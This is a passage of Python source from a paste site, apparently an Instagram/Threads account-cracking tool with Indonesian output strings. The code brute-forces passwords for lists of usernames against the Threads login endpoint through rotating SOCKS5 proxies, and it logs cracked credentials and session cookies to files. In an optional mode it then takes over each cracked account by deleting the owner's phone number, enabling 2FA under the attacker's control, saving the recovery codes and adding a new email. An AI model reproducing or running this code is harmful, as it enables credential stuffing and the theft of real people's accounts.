  828.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
  829.                         except Exception as e:
  830.                             print(e)
  831.                             tree = Tree(f'\r╭ logged in user',style='green')
  832.                             true = tree.add(f'Succes logged {fullname}')
  833.                             true.add(f'Username {username}')
  834.                             true.add(f'Password {passwd}')
  835.                             true = tree.add(f'\r╭ informasi profiles',style='green')
  836.                             true.add(f'Followers {follower}')
  837.                             true.add(f'Following {followed}')
  838.                             true.add(f'Postingan {feedpost}')
  839.                             tree.add(f'Cookie {cookie}')
  840.                             printz(tree)
  841.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  842.                     else:
  843.                         tree = Tree(f'\r╭ logged in user',style='green')
  844.                         true = tree.add(f'Succes logged {fullname}')
  845.                         true.add(f'Username {username}')
  846.                         true.add(f'Password {passwd}')
  847.                         true = tree.add(f'\r╭ informasi profiles',style='green')
  848.                         true.add(f'Followers {follower}')
  849.                         true.add(f'Following {followed}')
  850.                         true.add(f'Postingan {feedpost}')
  851.                         tree.add(f'Cookie {cookie}').add(f'Useragent {headers["user-agent"]}')
  852.                         printz(tree)
  853.                         save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  854.                     with open('/sdcard/OK/'+self.result_ok,'a') as wr:
  855.                         wr.write(save)
  856.                         wr.close()
  857.                     break      
  858.                 elif 'two_factor_required' in str(response):
  859.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  860.                     except (UnboundLocalError) as e: pass
  861.                     tree = Tree('\r╭ logged two factor                ',style='red')
  862.                     true = tree.add(f'Gagal logged {fullname}')
  863.                     true.add(f'Username {username}')
  864.                     true.add(f'Password {passwd}')
  865.                     true = tree.add(f'\r╭ informasi profiles',style='red')
  866.                     true.add(f'Followers {follower}')
  867.                     true.add(f'Following {followed}')
  868.                     true.add(f'Postingan {feedpost}')
  869.                     printz(tree)
  870.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  871.                     self.faktor+=1
  872.                     with open('/sdcard/2F/'+self.result_two,'a') as wr:
  873.                         wr.write(save)
  874.                         wr.close()  
  875.                     break
  876.                 elif 'checkpoint_required' in str(response):
  877.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  878.                     except (UnboundLocalError) as e: pass
  879.                     tree = Tree('\r╭ logged challenge                ',style='yellow')
  880.                     true = tree.add(f'Gagal logged {fullname}')
  881.                     true.add(f'Username {username}')
  882.                     true.add(f'Password {passwd}')
  883.                     true = tree.add(f'\r╭ informasi profiles',style='yellow')
  884.                     true.add(f'Followers {follower}')
  885.                     true.add(f'Following {followed}')
  886.                     true.add(f'Postingan {feedpost}')
  887.                     printz(tree)
  888.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  889.                     self.chekpoint+=1
  890.                     with open('/sdcard/CP/'+self.result_cp,'a') as wr:
  891.                         wr.write(save)
  892.                         wr.close()
  893.                     break    
  894.                 elif 'ip_block' in str(response):
  895.                     Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  896.                     time.sleep(3.5)    
  897.                 else:
  898.                     continue  
  899.             except (KeyboardInterrupt, requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
  900.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  901.                 time.sleep(31)
  902.                 self.ExecAjax(username, password)
  903.         self.looping+=1
  904.        
  905.     def ExecAjax_Threads(self, username, password):
  906.         byps = requests.Session()
  907.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold white]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold white]{str(len(dump))}[bold grey50]/[bold white]{self.looping}[bold grey50]/[bold white] OK:-[bold green]{self.success}[bold white] CP:-[bold red]{self.chekpoint}[bold white] 2F:-[bold red]{self.faktor}[bold white]     ", end='\r')
  908.         for passwd in password:
  909.             try:
  910.                 curl = byps.get('https://www.instagram.com/accounts/onetap/?next=%2F&hl=en', headers = {"User-Agent":"Mozilla/5.0 (Linux; Android 10; SM-G973F Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.198 Mobile Safari/537.36 Instagram 166.1.0.42.245 Android (29/10; 420dpi; 1080x2042; samsung; SM-G973F; beyond1; exynos9820; en_GB; 256099204)"}, allow_redirects=True)
  911.                 try: csrftoken = re.search('{"csrf_token":"(.*?)"', str(curl.text)).group(1)
  912.                 except: csrftoken = None
  913.                 headers = {
  914.                     'Host': 'www.instagram.com',
  915.                     'content-length': str(random.randint(100,2999)),
  916.                     'x-ig-app-id': '1217981644879628',
  917.                     'x-instagram-ajax': '1011794706',
  918.                     'user-agent': Useragent().useragent_ajax(),
  919.                     'content-type': 'application/x-www-form-urlencoded;charset=UTF-8',
  920.                     'x-asbd-id': '129477',
  921.                     'dpr': '2',
  922.                     'x-csrftoken': csrftoken,
  923.                     'x-requested-with': 'XMLHttpRequest',
  924.                     'accept': '*/*',
  925.                     'origin': 'https://www.instagram.com',
  926.                     'sec-fetch-site': 'none',
  927.                     'sec-fetch-mode': 'navigate',
  928.                     'sec-fetch-dest': 'document',
  929.                     'referer': 'https://www.instagram.com/accounts/onetap/?next=%2F&hl=en',
  930.                     'accept-encoding': 'gzip, deflate, br',
  931.                     'accept-language': 'en-US;q=0.5'
  932.                 }
  933.                 payload = {
  934.                     'enc_password': '#PWD_INSTAGRAM_BROWSER:0:{}:{}'.format(int(time.time()),passwd),
  935.                     'optIntoOneTap':'false',
  936.                     'queryParams':json.dumps({"hl":"en"}),
  937.                     'trustedDeviceRecords':'{}',
  938.                     'username': username,
  939.                 }
  940.                 proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  941.                 response = byps.post('https://www.threads.net/api/v1/web/accounts/login/ajax/', data = payload, headers = headers, proxies=proxs).text
  942.                 self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
  943.                 if 'userId' in str(response):
  944.                     self.success+=1
  945.                     try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
  946.                     except (Exception) as e: cookie = (None)
  947.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  948.                     except (UnboundLocalError) as e: pass
  949.                     if 'ya' in self.amankan_akun:
  950.                         try:
  951.                             num = Require().DeltPhone(cookie)
  952.                             statp, pone = num['Dihapus'], num['Number']
  953.                             deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
  954.                             two = Require().Aktifkan2F(cookie)
  955.                             kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
  956.                             stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
  957.                             Temp = Require().AddMail(cookie)
  958.                             email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
  959.                             statd = 'Di Konfirmasi' if state is True else 'Tidak Di Konfirmasi'
  960.                             tree = Tree(f'\r╭ logged in user',style='green')
  961.                             true = tree.add(f'Succes logged {fullname}')
  962.                             true.add(f'Username {username}')
  963.                             true.add(f'Password {passwd}')
  964.                             true = tree.add(f'\r╭ informasi profiles',style='green')
  965.                             true.add(f'Followers {follower}')
  966.                             true.add(f'Following {followed}')
  967.                             true.add(f'Postingan {feedpost}')
  968.                             true = tree.add(f'\r╭ auth secure account',style='green')
  969.                             true.add(f'stats two {stat2fa}')
  970.                             true.add(f'screetkey {key}')
  971.                             true.add(f'pemulihan {kode}')  
  972.                             true.add(f'telephone {deleted}')  
  973.                             true.add(f'add email {email} {statd}')
  974.                             true.add(f'web email {inbx}')
  975.                             tree.add(f'Cookie {cookie}')
  976.                             printz(tree)
  977.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
  978.                         except Exception as e:
  979.                             print(e)
  980.                             tree = Tree(f'\r╭ logged in user',style='green')
  981.                             true = tree.add(f'Succes logged {fullname}')
  982.                             true.add(f'Username {username}')
  983.                             true.add(f'Password {passwd}')
  984.                             true = tree.add(f'\r╭ informasi profiles',style='green')
  985.                             true.add(f'Followers {follower}')
  986.                             true.add(f'Following {followed}')
  987.                             true.add(f'Postingan {feedpost}')
  988.                             tree.add(f'Cookie {cookie}')
  989.                             printz(tree)
  990.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  991.                     else:
  992.                         tree = Tree(f'\r╭ logged in user',style='green')
  993.                         true = tree.add(f'Succes logged {fullname}')
  994.                         true.add(f'Username {username}')
  995.                         true.add(f'Password {passwd}')
  996.                         true = tree.add(f'\r╭ informasi profiles',style='green')
  997.                         true.add(f'Followers {follower}')
  998.                         true.add(f'Following {followed}')
  999.                         true.add(f'Postingan {feedpost}')
  1000.                         tree.add(f'Cookie {cookie}')
  1001.                         printz(tree)
  1002.                         save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  1003.                     with open('/sdcard/OK/'+self.result_ok,'a') as wr:
  1004.                         wr.write(save)
  1005.                         wr.close()
  1006.                     break      
  1007.                 elif 'two_factor_required' in str(response):
  1008.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  1009.                     except (UnboundLocalError) as e: pass
  1010.                     tree = Tree('\r╭ logged two factor                ',style='red')
  1011.                     true = tree.add(f'Gagal logged {fullname}')
  1012.                     true.add(f'Username {username}')
  1013.                     true.add(f'Password {passwd}')
  1014.                     true = tree.add(f'\r╭ informasi profiles',style='red')
  1015.                     true.add(f'Followers {follower}')
  1016.                     true.add(f'Following {followed}')
  1017.                     true.add(f'Postingan {feedpost}')
  1018.                     printz(tree)
  1019.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  1020.                     self.faktor+=1
  1021.                     with open('/sdcard/2F/'+self.result_two,'a') as wr:
  1022.                         wr.write(save)
  1023.                         wr.close()  
  1024.                     break
  1025.                 elif 'checkpoint_required' in str(response):
  1026.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  1027.                     except (UnboundLocalError) as e: pass
  1028.                     tree = Tree('\r╭ logged challenge                ',style='yellow')
  1029.                     true = tree.add(f'Gagal logged {fullname}')
  1030.                     true.add(f'Username {username}')
  1031.                     true.add(f'Password {passwd}')
  1032.                     true = tree.add(f'\r╭ informasi profiles',style='yellow')
  1033.                     true.add(f'Followers {follower}')
  1034.                     true.add(f'Following {followed}')
  1035.                     true.add(f'Postingan {feedpost}')
  1036.                     printz(tree)
  1037.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  1038.                     self.chekpoint+=1
  1039.                     with open('/sdcard/CP/'+self.result_cp,'a') as wr:
  1040.                         wr.write(save)
  1041.                         wr.close()
  1042.                     break    
  1043.                 elif 'ip_block' in str(response):
  1044.                     Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  1045.                     time.sleep(3.5)    
  1046.                 else: continue  
  1047.             except (requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
  1048.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  1049.                 time.sleep(31)
  1050.                 self.ExecAjax_Threads(username, password)
  1051.         self.looping+=1
  1052.        
  1053.  
  1054.        
Add Comment
Please, Sign In to add comment